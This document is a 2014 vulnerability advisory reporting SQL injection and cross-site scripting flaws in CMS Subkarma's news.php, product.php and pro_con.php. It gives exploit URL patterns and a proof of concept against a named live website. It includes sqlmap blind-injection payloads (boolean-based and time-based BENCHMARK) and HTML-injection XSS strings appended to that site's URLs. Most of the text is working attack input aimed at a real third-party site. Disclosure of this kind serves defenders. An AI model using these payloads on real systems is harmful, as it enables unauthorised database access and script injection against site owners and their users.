CMS Subkarma Cross Site Scripting / SQL Injection

`# Multiple SQL Injection & XSS on CMS SUBKARMA  
  
# Risk: High  
  
# CWE number: CWE-89,CWE-79  
  
# Date: 13/10/2014  
  
# Vendor: www.jttel.com.tw  
  
# Author: Felipe " Renzi " Gabriel  
  
# Contact: [email protected]  
  
# Tested on: Linux Mint ; Firefox ; Sqlmap 1.0-dev-nongit-20140906  
  
# Vulnerables File: news.php ; product.php ; pro_con.php  
  
# Exploits: http://www.target.com/news.php?id=[XSS]  
  
http://www.target.com/product.php?cat_id=[SQLI] & [XSS]  
  
http://www.target.com/pro_con.php?id=[SQLI] & [XSS]  
  
  
# PoC: http://www.cideko.com/product.php?cat_id=18   
  
http://www.cideko.com/pro_con.php?id=3   
  
  
--- "SQLI using SQLMAP."---   
  
Place: GET  
Parameter: cat_id  
Type: boolean-based blind  
Title: AND boolean-based blind - WHERE or HAVING clause  
Payload: cat_id=18 AND 6427=6427  
  
Type: AND/OR time-based blind  
Title: MySQL < 5.0.12 AND time-based blind (heavy query)  
Payload: cat_id=18 AND 7867=BENCHMARK(5000000,MD5(0x4d666b6e))  
---  
  
  
--- " XSS using HTML injection."---  
  
http://www.cideko.com/news.php?id=38"><marquee>XSS</marquee>  
  
http://www.cideko.com/product.php?cat_id=18"><marquee>XSS</marquee>  
  
http://www.cideko.com/pro_con.php?id=3"><marquee>XSS</marquee>  
  
# Note  
  
The SQL Injection on file pro_con.php parameter id, was published by Ali Pandidan.  
Reference, http://cxsecurity.com/issue/WLB-2011020004 .  
  
# Thank's  
  
  
  
  
  
  
  
`